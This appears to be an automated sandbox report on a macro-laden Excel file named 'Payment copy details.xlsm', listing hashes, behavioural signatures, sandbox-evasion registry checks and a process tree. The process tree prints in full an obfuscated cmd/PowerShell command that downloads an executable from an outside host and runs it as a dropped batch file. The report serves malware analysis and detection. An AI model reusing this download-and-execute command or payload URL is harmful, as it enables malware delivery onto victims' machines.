Analysis
-
max time kernel
138s -
max time network
136s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
18-01-2021 09:28
Static task
static1
Behavioral task
behavioral1
Sample
Payment copy details.xlsm
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Payment copy details.xlsm
Resource
win10v20201028
General
-
Target
Payment copy details.xlsm
-
Size
13KB
-
MD5
d6db15ab7f42874b6bf76b6ea59be9a7
-
SHA1
5c2cd0f4131bf097493bda618d0bfbf1e7c24bf1
-
SHA256
3fa582c6429bfe7cb4932594db7265d2540256c36341194341b38511241bd3ec
-
SHA512
50d9a8051f5b709df96b6962d7a83fbb67d96c03315b4671a79637f91aa59f916b8345fd2170309b4c10e0b4a9c44badc16fcf7136a4ba3279e66bfb78c754e2
Malware Config
Extracted
http://hosseinsoltani.ir/LEGITTTT.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2344 812 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 28 480 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
eWTPJ.batpid process 656 eWTPJ.bat -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 812 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 480 powershell.exe 480 powershell.exe 480 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 480 powershell.exe -
Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
EXCEL.EXEpid process 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE 812 EXCEL.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 812 wrote to memory of 2344 812 EXCEL.EXE cmd.exe PID 812 wrote to memory of 2344 812 EXCEL.EXE cmd.exe PID 2344 wrote to memory of 480 2344 cmd.exe powershell.exe PID 2344 wrote to memory of 480 2344 cmd.exe powershell.exe PID 812 wrote to memory of 656 812 EXCEL.EXE eWTPJ.bat PID 812 wrote to memory of 656 812 EXCEL.EXE eWTPJ.bat PID 812 wrote to memory of 656 812 EXCEL.EXE eWTPJ.bat
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payment copy details.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/LEGITTTT.exe',($env:Temp)+'\eWTPJ.bat')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/LEGITTTT.exe',($env:Temp)+'\eWTPJ.bat')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\eWTPJ.batC:\Users\Admin\AppData\Local\Temp\eWTPJ.bat2⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\eWTPJ.batMD5
45bfdbcf923c3f8a95dae8ac6b21507e
SHA1e9f512bccb1b0555691cd8beee304e91f2bf01f2
SHA256bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1
SHA51202cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28
-
C:\Users\Admin\AppData\Local\Temp\eWTPJ.batMD5
45bfdbcf923c3f8a95dae8ac6b21507e
SHA1e9f512bccb1b0555691cd8beee304e91f2bf01f2
SHA256bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1
SHA51202cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28
-
memory/480-14-0x0000022F53E46000-0x0000022F53E48000-memory.dmpFilesize
8KB
-
memory/480-11-0x0000022F53F50000-0x0000022F53F51000-memory.dmpFilesize
4KB
-
memory/480-12-0x0000022F53E40000-0x0000022F53E42000-memory.dmpFilesize
8KB
-
memory/480-13-0x0000022F53E43000-0x0000022F53E45000-memory.dmpFilesize
8KB
-
memory/480-8-0x0000000000000000-mapping.dmp
-
memory/480-9-0x00007FFB7BD30000-0x00007FFB7C71C000-memory.dmpFilesize
9.9MB
-
memory/480-10-0x0000022F3BBD0000-0x0000022F3BBD1000-memory.dmpFilesize
4KB
-
memory/656-21-0x0000000005400000-0x0000000005401000-memory.dmpFilesize
4KB
-
memory/656-22-0x00000000059A0000-0x00000000059A1000-memory.dmpFilesize
4KB
-
memory/656-25-0x00000000053D0000-0x00000000053D1000-memory.dmpFilesize
4KB
-
memory/656-26-0x00000000056D0000-0x000000000570D000-memory.dmpFilesize
244KB
-
memory/656-24-0x00000000058F0000-0x00000000058F1000-memory.dmpFilesize
4KB
-
memory/656-23-0x0000000005770000-0x0000000005771000-memory.dmpFilesize
4KB
-
memory/656-16-0x0000000000000000-mapping.dmp
-
memory/656-18-0x0000000074070000-0x000000007475E000-memory.dmpFilesize
6.9MB
-
memory/656-19-0x0000000000920000-0x0000000000921000-memory.dmpFilesize
4KB
-
memory/812-5-0x00007FFB60CA0000-0x00007FFB60CB0000-memory.dmpFilesize
64KB
-
memory/812-3-0x00007FFB60CA0000-0x00007FFB60CB0000-memory.dmpFilesize
64KB
-
memory/812-4-0x00007FFB60CA0000-0x00007FFB60CB0000-memory.dmpFilesize
64KB
-
memory/812-6-0x00007FFB84DB0000-0x00007FFB853E7000-memory.dmpFilesize
6.2MB
-
memory/812-2-0x00007FFB60CA0000-0x00007FFB60CB0000-memory.dmpFilesize
64KB
-
memory/2344-7-0x0000000000000000-mapping.dmp